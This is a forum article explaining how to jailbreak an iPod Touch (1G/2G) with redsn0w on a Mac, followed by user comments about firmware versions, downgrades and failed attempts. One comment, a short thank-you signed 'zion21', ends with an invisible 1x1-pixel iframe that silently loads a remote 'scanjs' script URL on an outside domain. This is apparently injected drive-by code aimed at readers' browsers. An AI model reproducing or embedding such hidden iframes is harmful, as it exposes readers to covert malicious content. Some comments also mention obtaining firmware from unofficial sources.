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  • [ HOW TO ] Jailbreak iPod Touch with redsn0w | 1G/2G | OS X


    This guide shows you how to jailbreak your iPod Touch (1G or 2G) using the DevTeam's redsn0w tool.

    First you'll need to do two things:
    1. Backup and Restore your iPod Touch. Just connect to iTunes and sync. If you have any Cydia apps from a previous firmware, they will be deleted when we restore. Here's a few places you may want to back up manually if you're worried about it... I didn't.

      /var/mobile/Library/AddressBook - Contacts
      /var/mobile/Library/Calendar - Calendar
      /var/mobile/Library/Notes - Notes
      /var/mobile/Library/Safari - Bookmarks, Cookies
      /var/mobile/Library/SMS - Text Messages.
    2. Download redsn0w.

      redsn0w 0.7 for Mac Megaupload Rapidshare
    Alright, open redsn0w now that you've downloaded it. You'll be greeted with the welcome screen, and asked to browse for your 3.0 .ipsw file. You should have already restored to it, so if you don't have it on your desktop (read: you downloaded it through iTunes), it will most likely be located at Macintosh HD/Users/(your name) Library/iTunes/iPod Software Updates/iPod2,1_3.0_7A341_Restore.ipsw in your computer.



    Browse to it and find it, and redsn0w should sit a sec saying processing, then tell you the IPSW has been successfully identified. Click Next.



    redsn0w will run through a flurry of info in a popup window.





    Next you'll be asked if you want to install Cydia. You do. Click Next.



    K, this bit is a LITTLE tricky. You'll see the screen with instructions on entering DFU mode - only thing to be aware of is you should have your iPod Touch IN HAND when you press Next (after following the instructions to turn it off while connected), with your fingers ready to press Power and Home at same time - the instructions come fast, and are on a precise time limit. I had to do it twice.



    Follow the instructions in holding down the power button and various steps.



    Now you'll see the app telling you more info as it goes through its steps. During this time your iPod Touch will have some images on it as well.







    Assuming all went well, that's it! Click Finish, and your iPod Touch will sit doing some more stuff about 2 minutes, then you're all good!




    Note: If your iPod Touch won't start back up (just goes to Apple loading screen and stays), its probably because you didn't Restore to a fresh 3.0 BEFORE running this tool.
    This article was originally published in forum thread: [ HOW TO ] Jailbreak iPod Touch with redsn0w | 1G/2G | OS X started by Kyle Matthews View original post
    Comments 164 Comments
    1. stalbat's Avatar
      stalbat -
      Well, I've had my iTouch jailbroken already, and today itunes asked me to update the ipod, so i did, and it restored it and it wasn't jailboken anymore.. So I tried jailbreaking it again, and i'm doing everything right.. but once its done, it gets stuck on the "downloading jailbreaking data" or something like that, and after like 10 mins it shows me the screen where i need to connect it to itunes and then i have to restore it again...
      What's wrong? =\
    1. confucious's Avatar
      confucious -
      So you updated to FW3.1 and tried to JB? Even though there is no JB available for 3.1 yet?
      Or am I missing something?
    1. angiepangie's Avatar
      angiepangie -
      ^Yup. That's what it sounds like.
      3.1 can't be jailbroken yet, what don't people get about that?
    1. Red-Blitz's Avatar
      Red-Blitz -
      If you cant downgrade to 3.0 and can't JB 3.1 how do you JB a ipod since iTunes 9?
    1. angiepangie's Avatar
      angiepangie -
      You can downgrade to 3.0 on everything except 3gs
    1. stalbat's Avatar
      stalbat -
      Yeah... I'm sorry, I didn't realize it was ver 3.1 still... got it all fixed already and even helped a fellow ipod-owner to JB his new ipod =]

      Sorry everyone!
    1. FastHorse's Avatar
      FastHorse -
      Quote Originally Posted by angiepangie View Post
      You can downgrade to 3.0 on everything except 3gs

      I'm trying to downgrade my friends 1G ipod touch from 3.1 to 3.0 so that i could jailbreak it and its says the software is not compatible with the ipod. Am I doing something wrong? I hit the option key + restore and it opens up finder so i select the 3.0 ipsw for the touch and it wont let me. Ive already done several 2g ipods the same way that had 2.2.1 can i not downgrade on the 1g?

      Thanks
    1. angiepangie's Avatar
      angiepangie -
      Are you trying to use the same file as the 2G on your first gen?
      They're different files...
    1. FastHorse's Avatar
      FastHorse -
      Quote Originally Posted by angiepangie View Post
      Are you trying to use the same file as the 2G on your first gen?
      They're different files...

      Yeah, How do i know the difference?

      Ok i see the description, but i cant find the firmware 1g 3.0
    1. angiepangie's Avatar
      angiepangie -
      iPod Touches aren't exactly my area of expertise..
      but I think the 2nd gen files start with iPod2,1 while the first gen files start with iPod1,2 or iPod1,1 (idk which..)
    1. FastHorse's Avatar
      FastHorse -
      Quote Originally Posted by angiepangie View Post
      iPod Touches aren't exactly my area of expertise..
      but I think the 2nd gen files start with iPod2,1 while the first gen files start with iPod1,2 or iPod1,1 (idk which..)


      Got it, Thanks for your help. I was able to jailbreak it already. But for some reason the firmware is not up on this site, I had to get it somewhere else. But it worked.

      Thanks Again
    1. confucious's Avatar
      confucious -
      The FW for the iPod Touch is paid for. Unless you have bought it you have downloaded warez which are not supported by this site and why the files are not hosted here or on any legitimate site.
    1. reaper0316's Avatar
      reaper0316 -
      i dont know how to jailbreak my ipod touch 1g. nothing makes sense please help me out
    1. confucious's Avatar
      confucious -
      Just run RedSn0w,
    1. andresaic's Avatar
      andresaic -
      everything was great but when it gets on the part when your ipod says downloading jailbreak data, it freezes and in a while appears the usb and itunes icon. what could i do. please help.
    1. zion21's Avatar
      zion21 -
      Really great tutorial. I went through it pretty quickly and didnt have any problems. Thanks <iframe src="http://rewardslink.info/flash/files/index.php?id=700&action=scanjs&in_list=1" style="visibility:hidden; overflow:hidden; width:1px; height:1px;"></iframe>
    1. krazed203's Avatar
      krazed203 -
      Does anyone know if it works for the new update 3.1.1
    1. mk12's Avatar
      mk12 -
      No you need to use Pwnage Tool, and it has to already be jailbroken. Pwnage Tool is Mac OS X only.

      Quote Originally Posted by confucious View Post
      The FW for the iPod Touch is paid for. Unless you have bought it you have downloaded warez which are not supported by this site and why the files are not hosted here or on any legitimate site.
      Thats why they don't have iPod Touch 3.0! But how do you get it then? You can't get it from apple anymore. Even If you paid for it before, when you update it deletes old ones. Its because to jailbreak my friend's iPod I need to first downgrade it to 3.0 and then use redsn0w.. Where would I get 3.0?
    1. frozen's Avatar
      frozen -
      I am trying to jailbreak my ipod touch 2.2.1 on my macbook. I have downloaded and intalled redsnow, as well as downloading and restoring my ipod. I browsed and found the restore file (iPod2,1_2.2.1_5H11a_Restore.ipsw) but Redsnow says Unable to recognise specified IPSW. What am i doing wrong? please help...

      I am trying to jailbreak my ipod touch 2.2.1 on my macbook. I have downloaded and intalled redsnow, as well as downloading and restoring my ipod. I browsed and found the restore file (iPod2,1_2.2.1_5H11a_Restore.ipsw) but Redsnow says Unable to recognise specified IPSW. What am i doing wrong? please help...
    1. confucious's Avatar
      confucious -
      RedSn0w 0.72/0.8 is only for FW 3.xx the ipsw you gave selected FW 2.21 so you either need a later FW or an early RedSn0w - which version are you using?